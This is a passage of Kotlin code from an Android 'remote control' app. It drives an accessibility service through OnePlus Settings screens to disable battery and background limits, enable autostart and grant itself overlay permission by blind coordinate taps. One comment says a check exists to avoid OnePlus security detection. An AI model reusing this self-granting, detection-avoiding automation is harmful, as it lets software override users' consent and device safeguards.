            Log.e(TAG, "❌ 在APP中请求权限失败", e)
            false
        }
    }
    
    /**
     * ✅ 电池优化特殊权限配置
     */
    private suspend fun executeBatteryOptimizationPermissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始电池优化特殊权限配置")
        
        return try {
            // ✅ 打开设置页面
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            performSegmentedDelay(1500)
            
            // ✅ 新导航路径：设置 -> 电池 -> 高级设置 -> 耗电异常优化
            var navigationPath = listOf("电池", "高级设置", "耗电异常优化")
            if (ANDROID_VERSION == ONEPLUS_ANDROID_14){
                navigationPath = listOf("电池", "更多设置", "耗电异常优化")
            }

            for (step in navigationPath) {
                if (!navigateToTargetPage(step)) {
                    Log.w(TAG, "⚠️ 导航到 $step 失败")
                    return false
                }
                performSegmentedDelay(1000)
            }
            
            // ✅ 找到我们的APP并点击
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 在耗电异常优化中查找应用: $appName")
            var appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.d(TAG, "🔄 滚动搜索应用")
                for (i in 1..15) {
                    if (performScrollDown()) {
                        performSegmentedDelay(400)
                        appNode = findTextByDecompiledCode(appName)
                        if (appNode != null) break
                    }
                }
            }
            if (appNode == null) {
                Log.e(TAG, "❌ 在耗电异常优化列表中未找到应用")
                return false
            }
            
            Log.d(TAG, "✅ 找到应用，点击进入优化选项")
            if (!executeClickByDecompiledCode(appNode!!)) {
                Log.e(TAG, "❌ 点击应用进入优化选项失败")
                return false
            }
            
            // ✅ 处理弹框，选择“不优化”
            performSegmentedDelay(400)
            val handled = handleBatteryOptimizationDialog()
            if (!handled) {
                Log.w(TAG, "⚠️ 选择'不优化'失败")
                failedRoutes.add("电池优化特殊权限")
                return false
            }
            
            Log.i(TAG, "✅ 电池优化特殊权限配置成功（选择不优化）")
            completedRoutes.add("电池优化特殊权限")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 电池优化特殊权限配置失败", e)
            failedRoutes.add("电池优化特殊权限")
            false
        }
    }

    /**
     * ✅ 处理耗电异常优化弹框，选择“不优化”
     */
    private suspend fun handleBatteryOptimizationDialog(): Boolean {
        return try {
            val root = getStableRootInActiveWindow(service)
            if (root == null) {
                Log.w(TAG, "⚠️ 无法获取根节点，等待后重试")
                performSegmentedDelay(300)
            }
            
            for (retry in 1..3) {
                val current = getStableRootInActiveWindow(service)
                if (current == null) {
                    performSegmentedDelay(200)
                    continue
                }
                val targets = listOf("不优化", "不进行优化", "不限制")
                for (t in targets) {
                    val nodes = try { current.findAccessibilityNodeInfosByText(t) } catch (e: Exception) { emptyList() }
                    for (n in nodes) {
                        try {
                            // 优先直接点击
                            if (n.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                                Log.d(TAG, "✅ 已选择'$t'")
                                performSegmentedDelay(400)
                                return true
                            }
                            // 父级可点击
                            var p = n.parent
                            var depth = 0
                            while (p != null && depth < 4) {
                                if (p.isClickable && p.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                                    Log.d(TAG, "✅ 父级点击已选择'$t'")
                                    performSegmentedDelay(400)
                                    return true
                                }
                                p = p.parent
                                depth++
                            }
                            // 坐标点击
                            val rect = Rect()
                            n.getBoundsInScreen(rect)
                            val cx = rect.exactCenterX().toInt()
                            val cy = rect.exactCenterY().toInt()
                            if (performSimpleCoordinateClick(cx, cy)) {
                                Log.d(TAG, "✅ 坐标点击已选择'$t'")
                                performSegmentedDelay(400)
                                return true
                            }
                        } finally {
                            n.recycle()
                        }
                    }
                }
                performSegmentedDelay(300)
            }
            Log.w(TAG, "⚠️ 未能选择'不优化'")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理电池优化弹框失败", e)
            false
        }
    }
    
    /**
     * ✅ 后台应用限制权限配置
     */
    private suspend fun executeBackgroundAppLimits(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始后台应用限制权限配置（睡眠待机优化）")

        return try {
            // ✅ 打开设置页面
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            performSegmentedDelay(1500)


//            andorid 15 增加一个自启动的
            if (ANDROID_VERSION == ONEPLUS_ANDROID_15){
                var navigationPathapp = listOf("应用", "自启动")
                for (step in navigationPathapp) {
                    if (!navigateToTargetPage(step)) {
                        Log.w(TAG, "⚠️ 导航到 $step 失败")
                        return false
                    }
                    performSegmentedDelay(800)
                }
                val appName = try {
                    val applicationInfo = context.applicationInfo
                    val packageManager = context.packageManager
                    packageManager.getApplicationLabel(applicationInfo).toString()
                } catch (e: Exception) {
                    Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                    "Android Remote Control"
                }
                Log.d(TAG, "🔍 查找应用: $appName")

                // 查找我们的应用
                val appNode = findTextByDecompiledCode(appName)
                if (appNode == null) {
                    Log.w(TAG, "⚠️ 未找到应用，尝试滚动搜索")
                    // 尝试滚动搜索应用
                    for (i in 1..15) {
                        if (performScrollDown()) {
                            performSegmentedDelay(400)
                            val foundAppNode = findTextByDecompiledCode(appName)
                            if (foundAppNode != null) {
                                Log.d(TAG, "✅ 滚动搜索找到应用")
                                executeClickByDecompiledCode(foundAppNode)
                                break
                            }
                        }
                    }

                }
                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                performSegmentedDelay(500)
                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                performSegmentedDelay(500)
            }


            // ✅ 导航路径：设置 -> 电池 -> 高级设置
            var navigationPath = listOf("电池", "高级设置")
            if (ANDROID_VERSION == ONEPLUS_ANDROID_14){
                navigationPath = listOf("电池", "更多设置")
            }  else  if (ANDROID_VERSION == ONEPLUS_ANDROID_15){
                navigationPath = listOf("电池", "省电设置")
            }
            for (step in navigationPath) {
                if (!navigateToTargetPage(step)) {
                    Log.w(TAG, "⚠️ 导航到 $step 失败")
                    return false
                }
                performSegmentedDelay(800)
            }

            // ✅ 睡眠待机优化（开关）
            val labelTexts = listOf("睡眠待机优化")
            var textNode: AccessibilityNodeInfo? = null
            for (lbl in labelTexts) {
                textNode = findTextByDecompiledCode(lbl)
                if (textNode != null) break
            }
            if (textNode == null) {
                Log.w(TAG, "⚠️ 未找到‘睡眠待机优化’文本，尝试滚动搜索")
                for (i in 1..4) {
//                    if (performScrollDown()) {
                        performSegmentedDelay(400)
                        for (lbl in labelTexts) {
                            textNode = findTextByDecompiledCode(lbl)
                            if (textNode != null) break
                        }
                        if (textNode != null) break
//                    }
                }
            }
            if (textNode == null) {
                Log.e(TAG, "❌ 未找到‘睡眠待机优化’入口")
                failedRoutes.add("后台应用限制权限")
                return false
            }

            // ✅ 查找右侧开关；若为开启则关闭；若已关闭则无需操作
            val switchNode = findSwitchByDecompiledCode(textNode!!)
            if (switchNode == null) {
                Log.w(TAG, "⚠️ 未找到‘睡眠待机优化’开关，尝试点击文本切换")
                val toggled = executeClickByDecompiledCode(textNode!!)
                performSegmentedDelay(600)
                completedRoutes.add("后台应用限制权限")
                return toggled
            }

            val isOn = switchNode.isChecked
            Log.d(TAG, "🔍 睡眠待机优化当前状态: ${if (isOn) "开启" else "关闭"}")
            if (isOn) {
                Log.d(TAG, "🔧 关闭‘睡眠待机优化’")
                // 优先点开关，其次点文本
                val closed = executeClickByDecompiledCode(switchNode) || executeClickByDecompiledCode(textNode!!)
                performSegmentedDelay(600)
                if (!closed) {
                    Log.e(TAG, "❌ 关闭失败")
                    failedRoutes.add("后台应用限制权限")
                    return false
                }
            } else {
                Log.d(TAG, "✅ 已关闭，无需操作")
            }

            completedRoutes.add("后台应用限制权限")
            true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台应用限制权限配置失败", e)
            failedRoutes.add("后台应用限制权限")
            false
        }
    }
    
    // ======================== OnePlus基础导航方法 ========================
    
    /**
     * ✅ 检查系统状态是否稳定，避免触发OnePlus安全检测
     */
    private suspend fun isSystemStable(): Boolean {
        return try {
            // 检查系统负载
            val activityManager = context.getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val memoryInfo = android.app.ActivityManager.MemoryInfo()
            activityManager.getMemoryInfo(memoryInfo)
            
            val availableMemory = memoryInfo.availMem / (1024 * 1024) // MB
            val isLowMemory = memoryInfo.lowMemory
            
            Log.d(TAG, "🔍 系统状态检查: 可用内存=${availableMemory}MB, 低内存=$isLowMemory")
            
            // 检查是否在系统关键操作期间
            val currentTime = System.currentTimeMillis()
            val isSystemBusy = currentTime % 10000 < 2000 // 每10秒有2秒系统忙碌期
            
            // 检查无障碍服务状态 - 使用简单的方式
            val isAccessibilityEnabled = service.rootInActiveWindow != null
            
            val isStable = !isLowMemory && 
                          availableMemory > 200 && // 至少200MB可用内存
//                          !isSystemBusy &&
                          isAccessibilityEnabled
            
            Log.d(TAG, "🛡️ 系统稳定性: 稳定=$isStable, 低内存=$isLowMemory, 系统忙碌=$isSystemBusy, 无障碍=$isAccessibilityEnabled")
            
            isStable
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 系统状态检查失败", e)
            false // 检查失败时认为不稳定
        }
    }
    
    /**
     * ✅ 直接打开应用信息页面
     */
    private suspend fun openAppInfoDirectly(): Boolean {
        return try {
            Log.d(TAG, "🚀 尝试直接打开应用信息页面")
            
            // 使用标准应用详情Intent
            val intent = android.content.Intent().apply {
                action = android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
                data = android.net.Uri.fromParts("package", context.packageName, null)
                flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            
            context.startActivity(intent)
            Log.d(TAG, "✅ 已启动应用详情Intent")
            performSegmentedDelay(2000) // 等待页面加载
            
            // 验证是否成功进入应用信息页面
            val rootNode = service.rootInActiveWindow
            val currentPackage = rootNode?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前包名: $currentPackage")
            
            // 检查是否在设置相关的应用中
            val isSettingsApp = currentPackage.contains("settings") || 
                              currentPackage.contains("com.android.settings") ||
                              currentPackage.contains("com.oneplus.settings")
            
            if (isSettingsApp) {
                Log.d(TAG, "✅ 成功进入设置应用")
                return true
            } else {
                Log.w(TAG, "⚠️ 未检测到设置应用，当前包名: $currentPackage")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接打开应用信息页面失败", e)
            false
        }
    }
    
    /**
     * ✅ 打开设置页面
     */
    private suspend fun openSettings(): Boolean {
        Log.d(TAG, "🔧 打开设置页面")
        
        return try {
            // 检查当前页面
            val currentPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前页面: $currentPackage")
            
            // 强制使用清除任务栈的方式打开设置首页，确保从设置首页开始
            Log.d(TAG, "🔄 强制打开设置首页，清除之前的设置页面状态")
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS)
            intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK
            context.startActivity(intent)
            
            performSegmentedDelay(2000) // 等待设置页面加载
            
            // 验证是否成功进入设置页面
            val settingsPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 设置页面包名: $settingsPackage")
            
            if (settingsPackage.contains("settings") || settingsPackage.contains("com.android.settings")) {
                Log.d(TAG, "✅ 成功进入设置页面")
                true
            } else {
                Log.w(TAG, "⚠️ 可能未成功进入设置页面，继续尝试")
                true // 即使包名不匹配也继续，因为可能UI还没完全加载
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败", e)
            false
        }
    }
    
    /**
     * ✅ 导航到应用设置
     */
    private suspend fun navigateToApps(): Boolean {
        Log.d(TAG, "🔧 导航到应用设置")
        
        return try {
            // OnePlus设备可能使用不同的文本
            val appTexts = listOf("应用", "应用管理", "应用与权限", "应用和通知")
            
            for (appText in appTexts) {
                Log.d(TAG, "🔍 尝试搜索: $appText")
                val textNode = findTextByDecompiledCode(appText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到应用设置入口: $appText")
                    val success = executeClickByDecompiledCode(textNode)
                    if (success) {
                        performSegmentedDelay(1500) // 等待页面加载
                        return true
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 未找到应用设置入口，尝试滚动搜索")
            // 尝试滚动搜索
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(800)
                    for (appText in appTexts) {
                        val textNode = findTextByDecompiledCode(appText)
                        if (textNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到应用设置入口: $appText")
                            val success = executeClickByDecompiledCode(textNode)
                            if (success) {
                                performSegmentedDelay(1500)
                                return true
                            }
                        }
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到应用设置入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到应用设置失败", e)
            false
        }
    }
    
    /**
     * ✅ 导航到自启动权限
     */
    private suspend fun navigateToAutoStart(): Boolean {
        Log.d(TAG, "🔧 导航到自启动权限")
        
        return try {
            // OnePlus设备可能使用不同的文本
            val autoStartTexts = listOf("自启动", "自启动管理", "应用自启动", "启动管理")
            
            for (autoStartText in autoStartTexts) {
                Log.d(TAG, "🔍 尝试搜索: $autoStartText")
                val textNode = findTextByDecompiledCode(autoStartText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到自启动入口: $autoStartText")
                    val success = executeClickByDecompiledCode(textNode)
                    if (success) {
                        performSegmentedDelay(1500) // 等待页面加载
                        return true
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 未找到自启动入口，尝试滚动搜索")
            // 尝试滚动搜索
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(800)
                    for (autoStartText in autoStartTexts) {
                        val textNode = findTextByDecompiledCode(autoStartText)
                        if (textNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到自启动入口: $autoStartText")
                            val success = executeClickByDecompiledCode(textNode)
                            if (success) {
                                performSegmentedDelay(1500)
                                return true
                            }
                        }
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到自启动入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到自启动权限失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置自启动权限
     */
    private suspend fun configureAutoStartPermission(): Boolean {
        Log.d(TAG, "🔧 配置自启动权限")
        
        return try {
            // ✅ 获取应用名称而不是包名
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 查找我们的应用
            val appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.w(TAG, "⚠️ 未找到应用，尝试滚动搜索")
                // 尝试滚动搜索应用
                for (i in 1..5) {
                    if (performScrollDown()) {
                        performSegmentedDelay(800)
                        val foundAppNode = findTextByDecompiledCode(appName)
                        if (foundAppNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到应用")
                            return configureAppAutoStart(foundAppNode)
                        }
                    }
                }
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }
            
            configureAppAutoStart(appNode)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置自启动权限失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置应用自启动 - 正确的流程：直接点击应用
     */
    private suspend fun configureAppAutoStart(appNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 配置应用自启动")
            
            // ✅ 正确的流程：直接点击应用即可切换自启动状态
            Log.d(TAG, "🔄 直接点击应用节点切换自启动状态")
            val clickSuccess = executeClickByDecompiledCode(appNode)
            if (clickSuccess) {
                performSegmentedDelay(500) // 等待状态切换
                Log.d(TAG, "✅ 自启动权限配置成功")
                return true
            } else {
                Log.e(TAG, "❌ 点击应用节点失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置应用自启动失败", e)
            false
        }
    }
    
    
    /**
     * ✅ 导航到后台应用限制
     */
    private suspend fun navigateToBackgroundAppLimits(): Boolean {
        Log.d(TAG, "🔧 导航到后台应用限制")
        
        return try {
            // 先返回应用设置页面
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
            performSegmentedDelay(1000)
            
            // OnePlus设备可能使用不同的文本
            val backgroundTexts = listOf("后台应用限制", "后台运行限制", "后台管理", "后台行为")
            
            for (backgroundText in backgroundTexts) {
                Log.d(TAG, "🔍 尝试搜索: $backgroundText")
                val textNode = findTextByDecompiledCode(backgroundText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到后台应用限制入口: $backgroundText")
                    val success = executeClickByDecompiledCode(textNode)
                    if (success) {
                        performSegmentedDelay(1500) // 等待页面加载
                        return true
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 未找到后台应用限制入口，尝试滚动搜索")
            // 尝试滚动搜索
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(800)
                    for (backgroundText in backgroundTexts) {
                        val textNode = findTextByDecompiledCode(backgroundText)
                        if (textNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到后台应用限制入口: $backgroundText")
                            val success = executeClickByDecompiledCode(textNode)
                            if (success) {
                                performSegmentedDelay(1500)
                                return true
                            }
                        }
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到后台应用限制入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到后台应用限制失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置后台应用限制
     */
    private suspend fun configureBackgroundAppLimits(): Boolean {
        Log.d(TAG, "🔧 配置后台应用限制")
        
        return try {
            // ✅ 获取应用名称而不是包名
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 查找我们的应用
            val appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.w(TAG, "⚠️ 未找到应用，尝试滚动搜索")
                // 尝试滚动搜索应用
                for (i in 1..5) {
                    if (performScrollDown()) {
                        performSegmentedDelay(800)
                        val foundAppNode = findTextByDecompiledCode(appName)
                        if (foundAppNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到应用")
                            return configureAppBackgroundLimits(foundAppNode)
                        }
                    }
                }
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }
            
            configureAppBackgroundLimits(appNode)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置后台应用限制失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置应用后台限制 - 正确的流程：直接点击右侧开关
     */
    private suspend fun configureAppBackgroundLimits(appNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 配置应用后台限制")
            
            // ✅ 正确的流程：在后台限制页面直接点击应用右侧的开关
            Log.d(TAG, "🔍 查找应用右侧的后台限制开关")
            
            // ✅ 查找右侧的开关控件
            val switchNode = findRightSideSwitchNode(appNode)
            if (switchNode != null) {
                val isChecked = switchNode.isChecked
                Log.d(TAG, "🔍 后台限制开关状态: ${if (isChecked) "开启" else "关闭"}")
                
                if (isChecked) {
                    Log.d(TAG, "🔧 关闭后台限制")
                    val success = performClickOnSwitchCoordinate(switchNode)
                    if (success) {
                        performSegmentedDelay(500)
                        Log.d(TAG, "✅ 后台限制配置成功")
                        return true
                    } else {
                        Log.e(TAG, "❌ 点击后台限制开关失败")
                        return false
                    }
                } else {
                    Log.d(TAG, "✅ 后台限制已关闭")
                    return true
                }
            } else {
                Log.e(TAG, "❌ 未找到应用右侧的后台限制开关")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置应用后台限制失败", e)
            false
        }
    }
    
    
    /**
     * ✅ 导航到悬浮窗权限
     */
    private suspend fun navigateToOverlayPermission(): Boolean {
        Log.d(TAG, "🔧 导航到悬浮窗权限")
        
        return try {
            // 先返回应用设置页面
//            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//            performSegmentedDelay(1000)
            
            // OnePlus设备可能使用不同的文本
            val overlayTexts = listOf("悬浮窗", "在其他应用上层显示", "悬浮窗权限", "显示在其他应用上层")
            
            for (overlayText in overlayTexts) {
                Log.d(TAG, "🔍 尝试搜索: $overlayText")
                val textNode = findTextByDecompiledCode(overlayText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到悬浮窗权限入口: $overlayText")
                    val success = executeClickByDecompiledCode(textNode)
                    if (success) {
                        performSegmentedDelay(1500) // 等待页面加载
                        return true
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 未找到悬浮窗权限入口，尝试滚动搜索")
            // 尝试滚动搜索
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(400)
                    for (overlayText in overlayTexts) {
                        val textNode = findTextByDecompiledCode(overlayText)
                        if (textNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到悬浮窗权限入口: $overlayText")
                            val success = executeClickByDecompiledCode(textNode)
                            if (success) {
                                performSegmentedDelay(1500)
                                return true
                            }
                        }
                    }
                }
            }
            
            Log.e(TAG, "❌ 无法找到悬浮窗权限入口")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到悬浮窗权限失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置悬浮窗权限 - 重新打开设置走完整流程
     */
    private suspend fun configureOverlayPermission(): Boolean {
        Log.d(TAG, "🔧 配置悬浮窗权限")
        
        return try {
            // ✅ Step 1: 重新打开设置页面
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // ✅ Step 2: 进入应用设置
            if (!navigateToApps()) {
                Log.e(TAG, "❌ 无法进入应用设置")
                return false
            }

            val appNode2 = findTextByDecompiledCode("特殊应用权限")
            if ( appNode2 != null){
                executeClickByDecompiledCode(appNode2)
            }
            performSegmentedDelay(500)
            // ✅ Step 3: 进入悬浮窗权限
            if (!navigateToOverlayPermission()) {
                Log.e(TAG, "❌ 无法进入悬浮窗权限")
                return false
            }
            
            // ✅ Step 4: 获取应用名称并查找应用
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 查找我们的应用
            val appNode = findTextByDecompiledCode(appName)
            if (appNode == null) {
                Log.w(TAG, "⚠️ 未找到应用，尝试滚动搜索")
                // 尝试滚动搜索应用
                for (i in 1..15) {
                    if (performScrollDown()) {
                        performSegmentedDelay(400)
                        val foundAppNode = findTextByDecompiledCode(appName)
                        if (foundAppNode != null) {
                            Log.d(TAG, "✅ 滚动搜索找到应用")
                            return configureAppOverlayPermission(foundAppNode)
                        }
                    }
                }
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }
            true
            // ✅ Step 5: 配置悬浮窗权限
            // configureAppOverlayPermission(appNode)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置悬浮窗权限失败", e)
            false
        }
    }
    
    /**
     * ✅ 配置应用悬浮窗权限 - 延迟后直接坐标点击允许
     */
    private suspend fun configureAppOverlayPermission(appNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 配置应用悬浮窗权限")
            
            // ✅ 正确的流程：直接点击应用，然后处理弹框
            Log.d(TAG, "🔄 点击应用节点以触发悬浮窗权限弹框")
            val clickSuccess = executeClickByDecompiledCode(appNode)
            if (!clickSuccess) {
                Log.e(TAG, "❌ 无法点击应用节点")
                return false
            }
            if (ANDROID_VERSION == ONEPLUS_ANDROID_14 || ANDROID_VERSION == ONEPLUS_ANDROID_15){
                //不是弹窗
                performSegmentedDelay(800)
                val tAppNode = findTextByDecompiledCode("授予悬浮窗权限")
                if (tAppNode != null){
                    val clickSuccess = executeClickByDecompiledCode(tAppNode)
//                    performSegmentedDelay(400)
                    if (!clickSuccess) {
                        Log.e(TAG, "❌ 无法点击授予悬浮窗权限")
                        return false
                    }
                }else{
                    Log.e(TAG, "❌ 无法找到授予悬浮窗权限")
                }
            }else{
                // ✅ 延迟稳定UI
                Log.d(TAG, "⏳ 延迟400ms等待弹框出现")
                performSegmentedDelay(400)

                // ✅ 打印调试信息
                val rootInActiveWindow = getStableRootInActiveWindow(service)
                Log.d(TAG, "🔍 [调试] 当前页面包名: ${rootInActiveWindow?.packageName}")
                Log.d(TAG, "🔍 [调试] 当前页面类名: ${rootInActiveWindow?.className}")

                // ✅ 按比例计算"允许"按钮坐标
                Log.d(TAG, "🔍 按比例计算'允许'按钮坐标")

                // 获取屏幕尺寸
                val displayMetrics = context.resources.displayMetrics
                val screenWidth = displayMetrics.widthPixels
                val screenHeight = displayMetrics.heightPixels

                Log.d(TAG, "🔍 [调试] 屏幕尺寸: ${screenWidth}x${screenHeight}")

                // ✅ 按比例计算坐标 (基于图片分析)
                // X比例: 0.5 (屏幕中心)
                // Y比例: 0.8333 (弹框中"允许"选项位置)
                val proportionalX = 0.5f
                val proportionalY = 0.89f

                val calculatedX = (screenWidth * proportionalX).toInt()
                val calculatedY = (screenHeight * proportionalY).toInt()

                Log.d(TAG, "🔍 [调试] 比例坐标: ($proportionalX, $proportionalY)")
                Log.d(TAG, "🔍 [调试] 计算坐标: ($calculatedX, $calculatedY)")

                // ✅ 尝试按比例坐标点击
                val proportionalClickSuccess = executePreciseGestureClick(calculatedX, calculatedY, 2)

            }

            true

            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置应用悬浮窗权限失败", e)
            false
        }
    }
    
    
    // ======================== 简化坐标点击方法 ========================
    
    /**
     * ✅ 简化的坐标点击方法 - 避免复杂手势调度
     */
    private suspend fun performSimpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            Log.d(TAG, "🔧 执行简化坐标点击: ($x, $y)")
            
            // ✅ 使用简单的单次手势点击
            val path = Path().apply {
                moveTo(x.toFloat(), y.toFloat())
            }
            
            val strokeDescription = GestureDescription.StrokeDescription(
                path, 0L, 100L // 短时间手势
            )
            
            val gestureBuilder = GestureDescription.Builder()
                .addStroke(strokeDescription)
            
            // ✅ 使用同步回调
            var success = false
            val callback = object : AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: GestureDescription?) {
                    Log.d(TAG, "✅ 简化坐标点击完成")
                    success = true
                }
                
                override fun onCancelled(gestureDescription: GestureDescription?) {
                    Log.w(TAG, "⚠️ 简化坐标点击被取消")
                    success = false
                }
            }
            
            // ✅ 直接发送手势，不等待
            val gestureSent = service.dispatchGesture(gestureBuilder.build(), callback, null)
            if (gestureSent) {
                Log.d(TAG, "✅ 简化坐标点击手势已发送")
                performSegmentedDelay(200) // 短暂等待
                return true
            } else {
                Log.e(TAG, "❌ 简化坐标点击手势发送失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 简化坐标点击异常", e)
            false
        }
    }
    
    // ======================== OPPO风格开关点击方法 ========================
    
    /**
     * ✅ 查找文本右侧的开关控件 (参照OppoAuthorizationHandler)
     */
    private fun findRightSideSwitchNode(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找文本右侧的开关控件")
        
        return try {
            // 获取文本节点的位置
            val textRect = android.graphics.Rect()
            textNode.getBoundsInScreen(textRect)
            
            // 策略1：在父节点的所有子节点中查找开关
            val parentNode = textNode.parent ?: return null
            
            var bestSwitch: AccessibilityNodeInfo? = null
            var minDistance = Int.MAX_VALUE
            
            for (i in 0 until parentNode.childCount) {
                val sibling = parentNode.getChild(i) ?: continue
                
                val switchNode = findSwitchInNode(sibling)
                if (switchNode != null) {
                    val switchRect = android.graphics.Rect()
                    switchNode.getBoundsInScreen(switchRect)
                    
                    // 检查是否在同一行（Y坐标差值小于节点高度的一半）
                    val verticalDistance = kotlin.math.abs(switchRect.centerY() - textRect.centerY())
                    val maxVerticalDistance = kotlin.math.max(textRect.height(), switchRect.height()) / 2
                    
                    // 检查是否在右侧（X坐标大于文本节点）
                    val isRightSide = switchRect.centerX() > textRect.centerX()
                    
                    if (isRightSide && verticalDistance <= maxVerticalDistance) {
                        val horizontalDistance = switchRect.centerX() - textRect.centerX()
                        if (horizontalDistance < minDistance) {
                            minDistance = horizontalDistance
                            bestSwitch = switchNode
                        }
                    }
                }
            }
            
            if (bestSwitch != null) {
                Log.d(TAG, "✅ 找到右侧开关控件，距离: $minDistance")
                return bestSwitch
            }
            
            // 策略2：在父节点的父节点中查找
            val grandParentNode = parentNode.parent
            if (grandParentNode != null) {
                for (i in 0 until grandParentNode.childCount) {
                    val uncle = grandParentNode.getChild(i) ?: continue
                    
                    val switchNode = findSwitchInNode(uncle)
                    if (switchNode != null) {
                        val switchRect = android.graphics.Rect()
                        switchNode.getBoundsInScreen(switchRect)
                        
